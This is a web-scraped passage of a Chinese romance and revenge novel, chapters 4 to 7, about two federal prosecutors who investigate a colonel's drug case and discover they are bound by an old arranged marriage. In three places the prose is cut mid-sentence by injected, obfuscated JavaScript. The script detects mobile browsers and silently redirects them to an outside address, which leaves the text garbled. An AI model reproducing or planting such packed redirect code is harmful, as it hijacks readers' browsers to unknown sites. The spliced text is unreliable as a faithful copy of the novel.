说着他捞过风衣外套,毫不犹豫起身就要走。闻父早就呆坐在了原地,倒是闻母这时反应过来什么,不顾四周看热闹的窃窃私语的顾客,上下两片嘴唇一哆嗦,呜呜咽咽地眼瞅着就哭了起来。 “儿子,你怎么可以这样想你的亲生父母呢,”闻母哭得梨花带雨,“爸妈都是为了你好啊……再者说那方广禄家有钱有势,是咱们家几辈子也赶不上的,莫说你和他孩子有婚约,就是——” “你说谁家?” 闻序浑身一震,猛地回头。闻母被吓了一跳,支吾了一下,不敢看闻序的眼睛: “就、就是方广禄家啊……” 闻父急不可耐地接过话茬,补充道:“当初和你指腹为婚的,就是他们如今捧在手心里的独生子,似乎叫什么——方什么云……” 嗡的一声,闻序只感觉天旋地转,耳畔什么都听不到了。 4. 第 4 章 当晚九点半,卫国区医院。 夜间的急诊科正是最繁忙的时候。方鉴云赶到时,打老远就看到了走廊尽头的闻序。 闻序站在手术室门外,双手插兜,靠在墙壁上闭着眼睛假寐。青年仍穿着那件灰色风衣,里面黑色的检察官制服有些皱了,领带也不再服帖地贴在胸前。医院天花板的白炽灯在青年刀刻斧凿般疏朗锋俊的侧颜上打下明暗交割的线条。 方鉴云走过去,停在他身旁。 “闻检察官。” 大约是因为忙碌,闻序额前的碎发遮挡住眉眼,配上不俗的五官,看上去有一种别样的凌乱美。 听到方鉴云的声音,闻序眼皮动了动,睁开眼睛时目光里还有点微醺似的倦意。可下一秒,看清来人后,闻序愣了愣,嗖的一下直起身子,舔舔干涩的嘴唇: “你来了啊。都听说了吗?” 方鉴云有些奇怪地看了他一眼,还是规规矩矩回答:“是,处里同事说,谭峥家里送来一个omega,似乎是……和他有些不寻常的关系。大概率是服药过多,现在就看能不能救回来了。” 闻序嗯了一声,方鉴云忽然发现对方好像有点漫不经心。 “还听说……别的事了没?” 方鉴云:“就这些。” 闻序摸了摸鼻子,低下头没事找事似的用马丁靴的鞋跟轻蹭瓷砖上的一块污渍:“行,先等抢救结果出来再说。” 方鉴云蹙了蹙眉。闻序的状态有些不对劲,明明白天还是那个雷厉风行一丝不苟的硬汉检察官,这才过了多久,忽然就变了个人似的,说话都温吞起来,语焉不详的。 更诡异的是,方鉴云隐约察觉到,闻序的这份吞吞吐吐似乎和自己有关——仿佛是在刻意回避自己,躲着自己一般。 他想了想,并没有选择戳破闻序突然的性情大变,而是继续问道: “谭上校人呢?” 闻序:“在警局录口供呢。那家伙现在估计一个头两个大了。” 讲这话时他仍然有点目光躲闪,方鉴云按下心中的疑虑,问:“难道是三项报告出来了?” “对,”闻序指指走廊上的一排长椅示意他坐下说,待方鉴云坐下,继续道,“他用药基本上是板上钉钉了。一会儿有个当事人会来,需要我们问她点事,你跟着我,做好记录。” 方鉴云点头。走廊的另一头不断有匆匆忙忙的医护人员和患者家属经过,推车滚轮在地面上发出咕咚咕咚的嘈杂声响,吵得人心静不下来。 忽然一阵与遥远的吵闹不同的窸窣声传来,方鉴云侧过头抬眼,发现闻序脱下了他那件灰色的长风衣,收在臂弯里折了两折,叠成一个不小的方块。没了外套遮掩,年轻alpha裹在检察官制服下的上身暴露在视线里,宽阔的肩膀撑起板正的制服肩线,即便穿得严实,仍能一窥层层衣着之下属于alpha的紧实而流畅的肌肉线条。 alpha将风衣递给有些出神的方鉴云,瘪了瘪嘴。 “接着啊,”他不耐烦道,“你不是腰不好吗,垫着。” 方鉴云黝黑的瞳孔轻微一抬,在闻序别开的侧脸上停留一霎。 “谢谢,”他接过衣服,垫在腰后,视线很快垂落下来,“闻检察官你很细心。” 闻序眼珠转了转,瞥了一眼坐着的人。方鉴云背靠着叠好的衣服块儿,身子微微倾斜,重心稍压在搭着扶手的胳膊肘上,本该是个有些妩媚的姿势,偏偏方鉴云这样坐着,倒丝毫让人觉不出什么妖娆慵懒的味道来。 “照顾你也是工作需要,你身体跟不上,会影响我们的进度。” 嘴上说得干巴巴,闻序心里却有点说不清的奇怪滋味,转过身,“当事人来了,你做好记录,有什么话等我问完了再说。” 走廊尽头果然有一个人影在向这边走来。方鉴云从包里拿出笔记本翻开:“收到。” 闻序点点头,不再看他,将目光投向走来的人。 不一会儿,那个模糊的身影便在二人视野里逐渐清晰。 是一个女人,或许还是个omega。女人看上去不到三十岁,披着件小香风外套,头发乱糟糟的,浓妆也花了,但仍掩盖不住本身娇媚精致的长相。她在闻序面前站定,警惕地看了一站一坐的两人几眼。 “你们就是那个什么检察官?”女人裹紧外套,声音沙哑,“有话就问吧,但事先说好,我是无辜的,今晚的事儿和我没关系。” 闻序从上衣内兜掏出证件翻开,展示给女人看:“是,联邦最高检察院。定罪是警察需要做的事,我们只是对谭峥上校的身边人做些调查,请你配合,女士。” 那女人看上去似乎文化程度不高,对闻序的话听得云里雾里,最后干脆放弃了,摇摇头:“随便你吧。” 闻序收起证件:“今晚你在谭峥家里?” “对。”女人微微岔开腿,换了个省力的站姿。 闻序盯着她:“你们在做什么?除了你,还有别人吗?” 方鉴云忙着记录,一抬头,见女人的腮动了动,这才发现她还在嚼口香糖,也不知该不该说这人心大。 “还有小雅——就是抢救的那个,”女人甩了甩头发,“我们仨在一块还能干什么事啊,大检察官,你明白的吧?” 闻序一只眼皮跳了跳,保持着严肃的语气:“女士,据你所知,谭峥上校是否有过服用联邦法律规定的违禁药品的行为?你的这位……女同伴有当着你的面服药吗?” 女人嘴巴动了动,似乎是换了半边口腔咀嚼那块口香糖。 “他那个年纪,不嗑药怎么能和我们两个人玩得动啊,”说着女人冷不丁一笑,“小雅用不着嗑药的,今天不知道怎么了,或许是那老东西哄着她,她一时晕了头……” “那你呢?谭峥没有怂恿你也一起吗?” “我?别开玩笑了检察官先生,刚刚我不已经做过检测了吗,都说了你们别怀疑到我头上,我和他们的事儿一点关系都没有!” 那女人瞪起眼睛,配上浓密到夸张的黑色假睫毛,显得眼睛大到唬人,闻序连忙抬手:“冷静,女士,我们只是问一句……你们分别和谭峥认识多久了?” 女人翻了个白眼:“快两年了,小雅的话,不到一年吧。” 闻序问:“除了□□关系之外,谭峥有没有许诺给你们什么?” “我是没有,”女人说,“那家伙倒是大方,不过我有的是朋友,和他只是合得来,也不计较这一两个子儿……小雅的话——” 女人思忖了一下。 “小雅是个黑户,你懂黑户是什么意思吧,帅哥?”她对闻序挤挤眼,“俩人蜜里调油的时候,小雅也和那位长官提过这事儿,后来那长官好像真的替她出手摆平了。” 方鉴云飞速在纸上记录下这条关键信息,又听到闻序问: “最后一个问题。你有没有看清,谭峥给她服用的具体是什么药物,是什么时间,通过什么方式给她服用的?” 女人:“这可说不好。当时桌上有不少酒水,谁知道哪一杯里……” 她耸了耸肩,表示自己爱莫能助。闻序深望了女人一眼,不带温度,礼节性地笑了一下。 “谢谢配合,您可以走了。” 那女人的目光在闻序撑起挺阔服制的饱满胸膛上流连一阵,猝不及防伸手在闻序肌肉紧实鼓胀的手臂上拍了一下:“不客气帅哥,有事再联系我哈,我随时都有空。” 说着她娇滴滴一笑,转身踩着高跟鞋婷婷袅袅地走了。 走廊里只留下满头黑线的闻序呆在原地。方鉴云啪地合上本子,拿过闻序的风衣外套,站起身: “都记下来了。我们现在去哪儿?” 闻序回过神,尴尬地清清嗓子,接过风衣外套抖开,抬腿向外走去。 “接下来只需要等抢救结果了,但愿那个女生没有事。”闻序边走边对跟上来的方鉴云说,“走廊里太闷,去外面透透气吧。” * 天色已晚,首都的夜幕黑沉沉的,天际线被繁华的灯火模糊。 两个人站在医院门口,看着来来往往的人进出大门。方鉴云倚着大理石柱,看着站在柱子另一边的闻序,心里那种不对劲的感觉愈发强烈,却也不好问什么,暗自摇了摇头,从兜里掏出一个四四方方的小金属块。 咔嚓一声,闻序下意识侧过头,看见黑夜里一点萤火虫般摇曳的微光,照亮了方鉴云紧致消瘦的下颌线,以及那永远照不见底的深黑双眸。 是打火机的声音。 他瞳孔不由自主放大了,看着方鉴云把打火机揣回兜里,忍不住问: “你抽烟?” 方鉴云没法立刻说话,柔软的唇瓣叼着细长的香烟,含混地嗯了声,接着用两根纤细莹白的手指夹住烟将其从嘴边拿开,下巴几乎没动,舌尖在牙关之下隐约一动,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658580|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团乳白色的薄雾从口中渡出。 隔着大理石柱,方鉴云一伸手,将烟盒递过来: “闻检察官来一根吗?” “不必,”闻序立刻道,“谢了。” 方鉴云从善如流地收回手,接着靠回石柱上,又吸了一口,吐出点烟来。乳白的雾气之下,青年俊秀清丽的面孔蓦然更多了疏离冷漠的气质,甚至有种与年龄不符的、诡谲的沧桑感。 成日和检察院里那些富家子弟打交道,可这样气质苍凉、乃至偶尔给人以阴郁之感的富二代,闻序不得不承认自己是第一回见。 “方鉴云,”他不禁问,“你今年多大?” 方鉴云抖了抖烟灰:“二十六。” 闻序心里迅速盘算了一下:“你比我还大两岁,按理我该叫你哥的。” “职场不分年龄,只看资历,这点道理我还是懂的。”方鉴云说。 闻序喉咙忽然紧了紧,凝视着方鉴云面无表情望着远方的脸: “你在国外呆了那么久,这次回来……是为了什么?” 方鉴云拿着烟的手动作一顿,侧过头与闻序对视,后者的心差点都停跳了半拍。 “闻检察官是在和我闲聊吗?” 他问。闻序呼吸一滞: “手术说不定要很久,我们在这里除了干等着,也没什么别的事可做。” “是吗,”方鉴云也像刚刚闻序审那个女人一样,毫无感情地勾了勾唇角,“我还以为闻检察官是感到不自在,没话找话呢。是我多心了。” 闻序的整个脊背都僵住了,一种难以言喻的心虚抓住了他的肺腑,令他呼吸困难。好在方鉴云并没再多看他,转回头去,把烟叼在嘴里,随手捋了一把颈侧的黑发。 半晌。 “回国是为了当检察官,这是我的梦想。” 方鉴云忽然说。闻序剑眉微皱,确认地问:“就这么简单?” “差不多。”方鉴云话语一顿,慢慢吐了口烟,忽然乜了闻序一眼,眯起眼睛。 闻序一怔,他忽然发现,在各种常人都会笑的场合里都机器人一样毫无反应的方鉴云,此刻眼睛里划过一丝调侃的,却分外真实的笑意。 “我回国是来复仇的,”方鉴云把含着的香烟摘下,在氤氲的雾色里冲闻序一勾唇,“有兴趣听听我的详细计划吗?” 闻序额角抽动,有些无语:“……你们公子哥的圈子里流行的段子是和大众有时差吗?” 不过看样子,方鉴云似乎真的没有什么堪比狗血八点档的“漂洋过海来嫁你”的使命在身。闻序稍稍松了口气,肩膀塌了下来。 在他没有注意到的角度,方鉴云瞳孔深处倒映着某人的身影却被搅乱的池水般波动,最终只是轻轻一哂。一楼大厅透出来的鹅黄色灯光照在方鉴云的半边侧脸,在背光的脸颊上扫下浓稠的黑影。 “闻检察官!” 一个小护士小跑出来,闻序直起身体,方鉴云跟着干脆利落地熄了烟,将半截烟蒂丢进垃圾桶,快步跟上来。 “结果怎么样?” “患者情况不太好,最坏的情况可能是……” 记起之前闻序的叮嘱,小护士压低声音,闻序微微低下身子侧耳听了一会儿,脸色忽然一变: “也就是说,有可能会成为植物人?” 小护士点点头:“用通俗的白话说,差不多就是这样。检察官先生,病人那里还有别的情况,我先回去了。” 待小护士离去,闻序吸了口气,舌头顶了顶腮,转过身一手叉腰,面向方鉴云。 “回家吧,”闻序捏了捏发紧的眉心,“明天在办公室,随时等我消息。” 方鉴云一怔:“我不用跟着你了?” “接下来要应付的人很多,对你而言接触这些都太早了。”闻序摆摆手,“看你这小身板也是个熬不了夜的,抓紧歇着去吧。” 方鉴云沉吟一瞬:“也好,那辛苦你了,明天见。” 闻序嗯了一声权当回应,转身就往医院里大步走去。方鉴云也转身朝着相反的方向迈开步子,没过一会儿,手机传来震动。 他边走边拿出手机解锁,点进短信界面。 几秒钟过后,方鉴云脚下却猝然刹住,整个人仍维持着低头看向手机的姿势,嘴唇却抿紧成一条直线。秋夜的风猎猎地吹过青年的西装长裤,他站在风口里,仿佛寒冬来临前寂寥倔强的枝杈。 5. 第 5 章 一夜转眼间过去。 天光熹微,照亮了整片联邦首都的土地。寸土寸金的老城区中心,一座独立圈地的西式私人府邸的外院大门缓缓拉开,随着大门旋转,门上纂刻着的一个笔力虬劲的“楚”字逐渐沐浴在光辉之下,泛起黄铜色的古朴雅致的光。 五分钟后。 穿着睡袍的楚江澈在佣人的指引下来到一扇门前,房门推开,坐在沙发上的赫然是方鉴云的身影。 “在雪茄室抽普通香烟,不算没礼貌吧。” 楚江澈在对面沙发坐下来,示意佣人退下,看着方鉴云把烟按灭在烟灰缸里。 “靠尼古丁止痛,不仅伤好不了,肺也坏了,得不偿失。” 方鉴云向后一靠,清瘦的身子仿佛要陷进柔软宽大的沙发里,脸上似笑非笑。 “医生说的那几种药我又买不起。”方鉴云道。 楚江澈皱眉:“你现在是方家少爷的身份,实在不成,我也可以帮——” 方鉴云歪了歪头:“欠你们这么多人情,让我怎么还?我可不想下辈子做牛做马报答啊。” 话说到这,楚江澈便知道关于这话题的谈判又一次无疾而终了。于是他无奈地点点头,开门见山道: “说正事。昨天的短信看来你已经收到了。” 方鉴云的肩膀忽然卸了力气似的,松垮了一下。 “嗯,”青年长长的睫羽垂落,如收拢薄翅的蝶,“不然我也不会一大早过来,打扰你清梦。” 昨天晚上,方鉴云收到一条陌生人发来的短信,上面的字很短,内容却石破天惊。 ——确切消息,检察院闻序父母与方家取得联系,欲履行多年前婚约。务必谨慎对待。 若非当时太晚,方鉴云恨不得第一时间就前往楚江澈家里商量对策。他几乎一宿没睡,枯坐到快天亮,二话不说便直接赶到楚宅。 “方叔那边怎么说?”方鉴云问。 楚江澈答:“方叔家里接到消息,第一时间也和你一样意外,更多的是不安。闻序家里和方家多年前确实订过娃娃亲,他们自然不想把家里掌上明珠一样的omega送过去,但……” 方鉴云脸上的肌肉微微一动:“我没什么可不安的。” 楚江澈像是预料到对方会把重心放在这上一般:“你脸上的黑眼圈可不是这么说的。” 方鉴云脸上残存的一点笑意也消褪了,下意识抬手触了触乌青的眼底,察觉到什么,小臂一僵,讪讪放下了手。 “你对闻序的父母有所了解吗?”楚江澈问。 方鉴云定了定神,回忆道: “老实说有点棘手。闻序的父母很多年前就开始创业,屡试屡败,后来因为债台高筑,还把未成年的闻序赶出家门过,仅仅是为了不用花供他读书的钱。若是方家执意不答应,那夫妻俩不知道会做出什么极端的事来,闹到媒体上都算是轻的,但方家要是被抹黑……” 他顿了顿,“老话说光脚的不怕穿鞋的,他们欠着一屁股债,但凡能攀上富贵,那两人是无所不用其极的。” 楚江澈了然颔首:“这个节骨眼上,方家必须越低调越好,虽然方叔的儿子出国这么多年,估计早没人记得他长什么模样,但凡事就怕万一。” “你告诉方叔不必担心,婚自然用不着他孩子来结,我会想办法处理闻序父母的这些是非。” 方鉴云坦然道。 楚江澈一掀眼皮:“你是打算说,最差也不过由你替嫁给他?” 方鉴云刚要接着说什么,闻言突然哽住了,半晌他整了整衣襟,换了个更舒适的坐姿靠着。 “这个方案很具有可行性。”他说。 楚江澈双手交叠,搭在身前。 “说说看。” 方鉴云轻吸了口气,道:“首先,我回想昨晚闻序对我态度的大转变,推测他父母大概率已经告知了他这件事,即便这婚不结,他父母也很有可能通过他找到我,暴露身份的风险依旧存在;其次……” 他阖了阖眼:“谭峥的案子可能会涉及到人命,闻序已经有意无意地开始不让我这个新人过多接触到太复杂的案情了。如果联姻,至少我还可以多一个渠道接触案子,顺藤摸瓜。” 他几乎提着气把话说完,期间一直目不转睛地盯着楚江澈的脸,对方始终没什么波动,仿佛毫无异议一般,就在他要松了口气时,却突然听对方说: “我持保留意见,这事还得再斟酌一下。” 方鉴云的眼眶微微放大:“为什么?” 楚江澈:“你把这一切想得太顺理成章了。一则,要是闻序对这门婚事很抗拒,你刚所说的一切都无法成立,二则——” 他凝望着沙发对面半簪着发的青年,一字一顿。 “你对于‘那个人’的心魔太重,长期待在闻序身边,我怕你不小心暴露自己。” 方鉴云的双眸倏地睁大了。 “为了咱们共同的复仇大计,我早就已经舍弃掉感情用事的一面了,”方鉴云难得坐直身子,后背用力绷直到微微打颤,“更何况我已经能够克制好——” 楚江澈板着脸打断他: “要是有天闻序发现你的伤,你作何解释?金尊玉贵的方小少爷,为什么会遭受过这样非人的虐待?” 方鉴云的心砰地重重一跳:“我……” 他很想说什么,可好半天才发觉,自己竟一个音节也没发出,屋里只剩下自己愈发粗重、颤抖的喘息声。楚江澈冰凉的眼神里逐渐蓄起一丝不忍的情绪,轻轻叹了口气。 “刚刚问你的人如果是闻序,你早就暴露了。” 方鉴云的背影顷刻间颓唐地塌了下来,重重靠回软垫上。他抬起一只手,掌骨单薄的手背覆住左心口的衬衫口袋,头偏了偏,没有看楚江澈。 “大清早的,别叫人这么难堪。”他凄然一笑。 楚江澈明白这已是方鉴云服软的态度,没有回答对方这句话,语调倒也放缓了些: “我知道你恨透了那个人,我和你一样,都盼着他早点下地狱。只是你我必须将这份仇恨深埋在心底,为了复仇,有些时候甚至需要我们暂时地忘记仇恨,才能毫无掣肘,无欲则刚。” 晨曦从窗外一点点挪进屋内,方鉴云阖了阖眼,暖融融的朝阳之下,青年的脸色却惨白如纸。 “知道了。” 他低声呢喃道。 楚江澈刚想说什么,忽然门外响起叩叩的敲门声,楚江澈说了声进,一个高挑的身影推开门,信步走进来: “少爷,我刚刚一直找您,没想到阿婶说您在雪茄室——” 跨进门的是一个身形修长、戴着细框眼镜的青年,样貌斯文,声线也十分温和。见到方鉴云的一刹那,青年的脚步登时顿住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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方鉴云点头。楚江澈又对萧尧道:“这么早来有什么事?” 萧尧的声音早已恢复刚进门时的温和稳重: “说来也巧,正好大家都在,那位眼线来了,说要见少爷您一面。” 楚江澈与方鉴云对视一眼,继而颔首:“估计是要报酬来了,让她进来吧。” * 几分钟后。 门第三次推开,一个踩着高跟鞋、穿着小香风外套的年轻女人微微探头进屋,有些惊叹地环视了一圈屋内不菲的装潢,接着小心翼翼迈进屋来,看着屋内的三人: “几位大少爷,说好了,该给的钱可一分也不能——” 她的视线划过方鉴云的脸,又嗖地转回来,倒吸一口气,惊叫出声: “你,你不就是昨晚的检察官?!” 方鉴云微微一笑,不置可否。倒是沙发后站着的萧尧三两步上前,轻轻挡下女人指着方鉴云的手: “任小姐,钱的事你不用担心,这一年里汇到你户头的钱哪一次不是按期到账?至于这位方检察,今天带你见他也是机缘巧合,你对外千万不要表现出认识他,否则麻烦就大了。” “这我当然知道,我又不傻!” 女人悻悻地放下手,抱着胳膊:“我说你们这群人到底在预谋什么丧良心的事,先是让我给那王八蛋下药,现在我又成了这检察官的共犯……我还想为下辈子积点德呢!” “活着尚且这么难,下辈子的事还是再说吧。” 方鉴云摆摆手起身,“时候不早,我也该去检察院了。我有预感,昨天的问话在闻序那儿并没过关,一定还有更大的麻烦等着我。” 6. 第 6 章 “时间到,可以睁眼了。” 诊疗室内,闻序缓缓睁开眼,躺椅旁边一个穿着白大褂的青年关掉了他身旁的机器,屋内轰鸣的底噪渐渐消失。 “感觉怎么样?”青年问。 闻序声音嘶哑地哼了一声,从躺椅上坐起来。 “比上次好一点,但是区别不大。”他说。 年轻医生似乎并没因这话而泄气,走到办公桌旁,拿起一份病历开始翻看。屋内的灯光照在桌面的名牌上,上面清晰印着“脑外科:连星帆”几个字。 连医生浏览着病历,翻过一页:“试着说说,你又看到了什么。” 闻序闭上眼,俊朗的眉目压下一丝隐忍的挣扎。 “画面太模糊了……” 虽闭着眼,可仍能看出青年在逐渐放空,“只是一种隐约的印象,那个人似乎高高瘦瘦的,皮肤很白,好像还经常,经常对我笑。那个人温柔善良,和蔼可亲,感觉像小太阳一样……” 光透过薄薄的眼皮,在视野里烙下一层微红的光晕。随着讲述,回忆深处的那个身影仿佛真的一点点拼凑起来,却始终如隔窗纱幕,影影绰绰。 “还能想起来什么?” 连星帆的声音仿佛从很远的空谷传来。闻序眼皮一阵自己都察觉不到的颤动。 “还有……” 渐渐地,脑海中那个永远如水中月般的身影轻轻晃动,背对着他的人影竟慢慢转过身来。闻序胸腔中的器官震动如擂鼓,双手不由自主攥紧成拳—— 下一秒,那张转过来的模糊不清的脸,与现实中的一张冷漠疏离的面孔重叠。 闻序一个激灵,睁大双眼。 冷汗早已湿透了青年穿着制服衬衫的后背。 在一旁观察许久的连星帆自然不会放过他这份异常:“怎么了?” “……没事,”闻序摇了摇头,试图将刚刚那诡异的念头从脑中甩掉,“今天的治疗不太顺利,总是想到些无关的人。” 说着他拿过搭在椅背上的检察官制服外套。连星帆坐下,把病历翻开新的一页: “从那次意外事故发生后,你头部受伤失忆,到现在已经过了六年,来我这里接受康复训练也有五年多了。不顺利难道不是常态?” 闻序转过头,想反驳一句,可注意到连星帆拿着笔唰唰地在纸上记录下什么,不禁皱眉:“今天又没回忆起什么额外的信息,有什么值得记录的。” “生理上的变化是日积月累的,你本人或需要滞后很久才能感觉得出,”连星帆没抬眼,边写边说,“起码从数据上看,最近你恢复得还不错。刚刚你自己都说了,进行训练时你甚至可以利用身边人进行联想回忆,这是个好征兆。” 闻序握着外套领子的手一紧: “别开玩笑了,就算我现在记得不清楚,但那个人是个开朗阳光的性格这点准没有错,而不是那种看着苦大仇深,满脸厌世的家伙。” 连星帆兴致缺缺地哦了一声,出于职业素养,还是引导着问了一句:“所以你刚刚联想到的人是谁,让你反感到这种程度?” 闻序哽了哽:“倒也不是讨厌,就是我一个新同事,神秘兮兮的,说话也怪。如果一定要给我刚刚想到他找个理由的话,可能也就是他长相还不错。” 他自然没有说,其实这个同事还有一重身份,就是自己潜在的联姻对象。 连星帆合上病历本:“你就这么确定你想不起来的这个‘他’长得也很好看?万一是你的潜意识美化了对方呢?” “不可能,”闻序坚定地否认,“他一定很漂亮,我知道的。” 连星帆看了他一小会儿。 “六年了,”连星帆幽幽道,“想起他对你而言就这么重要?” 闻序紧绷着的面部线条舒缓下来,眼神都柔和了几分。 “我必须要找到他,星帆,”闻序说,“我想不起和他之间发生了什么,可想不起他,我的心就空落落的,好像缺了一块,灵魂都不完整了……我能感觉到,自己对这个人亏欠了很多,我有需要做的事还没做完。” 连星帆不说话了,静默地望着青年穿上外套,拿起公文包。好一会儿,他才深呼吸,把病历本递回去。 “你意已决,我也无话可说了。老样子,别沾酒,还有不要太用脑过度。” 闻序伸手要去拿,连星帆却忽然把手一缩:“慢着。下次来治疗时,可以和我说说你这个同事的事。” 闻序一怔:“方——他和治疗有什么关系?” “你能在训练中主动联想到他,至少证明这有助于你恢复记忆。”连星帆回答,“这只是辅助手段,说不定会有用。” 闻序动作顿住,很快恢复如常,抓过连星帆手里的病历本,转身向外走,背对着他挥了挥本子: “再说吧。走了。” * 午休结束前,闻序刚好掐着点赶回检察院。办公室的那些公子哥们自然不会在办公室午睡,平日中午办公室里都只有闻序一人。 他想着泡一壶茶提提神,进到办公室之后拉开柜子开始翻找茶包,乒乒乓乓的闹出不小动静,忽然听见屋内角落里传来一声极轻的嘤咛: “唔……” 闻序转身,这才发现自己旁边的办公桌上趴着个人,太过消瘦的脊背隐没在披着的黑色制服外套下,不细看根本发现不了这还有人在。 “抱歉,我没注意到。” 那人从枕着的臂弯里微微抬起头,散落的柔软发丝垂落下来,露出有些睡意惺忪的双眼。 是方鉴云。 联姻对象的这层身份还如达摩克利斯之剑悬在闻序头顶,他连呼吸差点都忘了,拎着茶包的手抖了抖:“你怎么也在这?” “整理资料,太累了,在这歇一会。” 方鉴云刚被吵醒,声音还有些嘶哑。他试着撑起身子,随即上半身剧烈一震,一只手挪到身后扶住后腰,额头抵住枕着的另一只手臂,瑟瑟发抖起来。隔着单薄的衣衫,仿佛还能看到下面那收紧的腰部肌肉正疼得一阵阵哆嗦。 “嗯……” 他鼻息轻颤,断断续续低哼出声。闻序有些看不下去:“腰不好就别趴着睡,我有个折叠床,可以借给你用。需不需要扶你起来?” 制服外套已经随着刚刚那具身体的战栗,从挂不住衣服的肩胛骨上滑落下来。方鉴云咬着嘴唇偏过头,颈侧泛出晶莹的薄汗,手抓住后腰的衬衫布料,细长的手指用力,将熨帖的衣服揉出层层褶皱。 “不用了。”他有气无力道,“我坐一会儿就好,你忙你的。” 闻序想说什么,可见对方闭上眼睛,一副不想就此过多探讨的模样,撇了撇嘴,转身去外面泡茶。 真想不出这方鉴云对当检察官的执念有多深,也不知光是在体能这一关上,方家要替他打点多少人才能给这样一个病秧子放行。 三分钟后,闻序端着茶壶回来,方鉴云还真如他自己所言,已经从桌上直起身,披着外套,只是气有点喘,雪白的脸上唯独颧骨蒙着病态的潮红。 “我联系过医院,那个女孩苏醒的可能不大。” 闻序把茶壶放下,拿了两个纸杯,“在对谭峥展开深入调查前,这女孩是咱们取得直接证词的唯一希望了——你也喝一杯吧,看你这脸色,怪吓人的。” 滚烫的茶水注入杯中。方鉴云抬起一只手,放到脑后。 “谢谢。昨晚谭峥那个床伴的话,不也有一样的效力吗?” 闻序倒着茶,听了这话,眼神向侧面的人一瞥: “我怀疑——” 他倒茶的手一僵,茶水险些洒出杯子外。 只见方鉴云一手握住脑后那根乌木发簪,灵巧地一抽将发簪抽出,午休之后松垮的簪发散落,半长的黑色发丝顷刻间绦绦地垂下来。方鉴云另一手指尖穿过发梢,撩起细长的头发,露出饱满光洁的额头,两手轻巧地一捋再一挽,将木簪插进梳好的发揪里旋转了一个弧度,稍稍一推。 几秒钟不到,当着闻序的面簪好了头发,整个动作行云流水。 “怀疑什么?” 方鉴云放下手,胳膊肘自然搭在扶手上,斜靠在软椅里,问。 闻序骤然回神,手臂肌肉连忙发力,这才慌乱止住了快要漫出来的茶水,把纸杯放到自己这边,又斟了一杯茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“最重要的是,在询问谭峥是如何用药的时候,她虽然否认,但下意识暴露出谭峥的药物是水溶性、口服式的。”方鉴云语速放慢,“联邦违禁药品名单上的药物使用方式足足有十种,这证明,要么她熟知谭峥用药都只使用这一种形式,要么……” “要么这药根本就是她下的。” 闻序自然而然接道。方鉴云不再多言,呷了口茶,把纸杯放回办公桌。 “总之,这女人疑点很多,”闻序起身,“最迟明天,我会向警署申请调出这个人的档案查一查。” 方鉴云没有跟着他站起来,甚至没有抬头,眉尖微蹙。 “这未免有些偏离指控令里面让我们调查的重点了,”方鉴云说,“医院里那个人已经很大概率开不了口,现在想调查权色交易的部分,必须从谭峥本人下手,否则有可能浪费时间。” 闻序不以为然:“越是迂回的方式,越容易查出破绽。听我的,严查这个任晓萱就是了。” 说着他把喝光了的一次性纸杯捏扁,往垃圾桶的方向走,突然想到什么,脚步放缓了。 “刚刚的分析很不错,看来你和办公室那些混子不一样,是有真本事的。” 说完闻序顿了顿,抬脚继续往角落走去。方鉴云仍然垂着眼帘,得到一个苛刻的前辈工作狂的表扬本该令人至少有些欣慰的,可他面上无悲无喜,连一丝反应都没有,仿佛陷入休眠的仿生人。 直到闻序走到垃圾桶边上,抬起手,方鉴云眼睫一动,倏地抬眸。 仿佛下定某种决心,那双漆黑的眸中波光一动。 “我以为你是那种很吝啬赞美的人,”方鉴云道,“一天前你还对我疾言厉色,和现在完全不一样。” 闻序手上的动作一滞,若无其事道:“我这人是实力主义,在检察院,谁有能耐,谁才配赢得尊重。” 方鉴云深邃的眸光锁住闻序高大挺拔的背影。 “这样啊。” 他笑了笑,下一秒却沉下声音。 “我还以为,你是出于对联姻对象的尊重,才对我变得客气了呢,闻检察官。” 啪嗒一声,拍扁的纸杯掉在垃圾桶外。 闻序浑身过电般一震,猛一转身,对上那双漆黑如墨的,含笑的眼睛。 7. 第 7 章 “你早就知道了?” 灰霭般的双眸目光灼灼,方鉴云迎着那视线,一手撑着下巴,微微仰头。 “你不也早就知道了,闻序前辈。”方鉴云笑笑,浑然不觉对方居高临下的阴影笼罩住他头顶的光源。 隐秘的心事被戳破,率先登场的是一种原始的、恼羞成怒的冲动。闻序盯着他: “你现在说这些,是什么意思?想警告我别癞蛤蟆想吃天鹅肉?” 方鉴云又笑了——闻序愤怒的神思里忽然抽离出一种冷静的视角,有些好笑地发觉,似乎每次方鉴云笑的时候,都没什么好事发生: “干嘛把我想得那么刻薄呢,闻检察。” 他又意味深长地看了闻序一眼:“你似乎对我们这些人敌意很大。” “你也说了,是‘你们这些人’。”闻序冷哼,“随便你说我仇富还是什么都好,可事实就是,你们这些仗势欺人的富二代我见多了。我本以为你比他们强一点,不过从你这傲慢的态度看来,也没什么差。” 这话犀利到近乎恶毒,可方鉴云却无动于衷,唇角仍然若有似无地勾着。青年脑后那根支出的簪子线条和他单薄到突出的肩胛骨一样折硬,透出一种金属似的寒森森的光泽。 话已经说开,闻序也已然没有再敬而远之的必要,侧过身子: “不过,你也不必担心,本来我也无意于顺从上一辈人随口定下的婚事,你大可以让你爸妈把心放在肚子里——” “啊,我想你误会了,闻检查。” 闻序脊椎生锈似的僵涩住。方鉴云身子前倾,声音不大,却字字清晰。 